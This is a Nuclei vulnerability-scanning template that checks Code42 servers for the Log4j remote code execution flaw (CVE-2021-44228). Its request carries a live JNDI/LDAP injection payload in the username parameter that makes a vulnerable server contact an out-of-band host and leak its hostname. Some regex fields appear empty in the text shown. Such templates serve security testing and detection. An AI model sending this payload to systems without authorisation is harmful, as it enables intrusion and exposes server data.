nuclei-templates/http/vulnerabilities/code42/code42-log4j-rce.yaml

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2.1 KiB
YAML

id: code42-log4j-rce
info:
name: Apache Code42 - Remote Code Execution (Apache Log4j)
author: Adam Crosser
severity: critical
description: |
Multiple Code42 components are impacted by the logj4 vulnerability. Affected Code42 components include:
- Code42 cloud: Updated Log4j from 2.15.0 to 2.17.1 on January 26, 2022
- Code42 app for Incydr Basic and Advanced and CrashPlan Cloud product plans: Updated Log4j from 2.16.0 to 2.17.1 on January 18, 2022
- Code42 User Directory Sync (UDS): Updated Log4j from 2.15.0 to 2.17.1 on February 2, 2022
- On-premises Code42 server: Mitigated from Log4j vulnerabilities by following these steps
- On-premises Code42 app: Updated to Log4j 2.16 on December 17, 2021
reference:
- https://support.code42.com/Terms_and_conditions/Code42_customer_support_resources/Code42_response_to_industry_security_incidents
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-77
metadata:
max-request: 1
tags: cve,cve2021,jndi,log4j,rce,oast,code42,kev
variables:
rand1: '{{rand_int(111, 999)}}'
rand2: '{{rand_int(111, 999)}}'
http:
- method: GET
path:
- '{{BaseURL}}/c42api/v3/LoginConfiguration?username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/test}&url=https://localhost'
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
extractors:
- type: kval
kval:
- type: regex
group: 2
regex:
part: interactsh_request
- type: regex
group: 1
regex:
part: interactsh_request
# digest: 4b0a00483046022100f6a3641373f7fcd30bd0ba48649f8b24fa6c4aaf0de54869de8ec2170cd9cb8d022100c495821108864066b28532cadf4a0dfc743c92f8526fd8815c8c1d11cacfd7c5:922c64590222798bb761d5b6d8e72950